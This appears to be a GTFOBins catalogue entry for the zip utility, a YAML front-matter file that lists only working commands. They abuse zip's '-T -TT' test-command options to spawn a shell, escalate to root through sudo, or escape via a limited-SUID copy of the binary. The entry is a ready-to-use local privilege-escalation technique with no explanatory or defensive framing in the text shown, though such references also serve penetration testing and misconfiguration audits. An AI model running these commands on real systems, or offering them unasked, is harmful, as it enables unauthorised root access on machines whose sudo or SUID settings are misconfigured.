GTFOBins.github.io/_gtfobins/zip.md
2018-10-05 18:55:38 +01:00

19 lines
351 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
sudo:
- code: |
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
limited-suid:
- code: |
TF=$(mktemp -u)
./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
---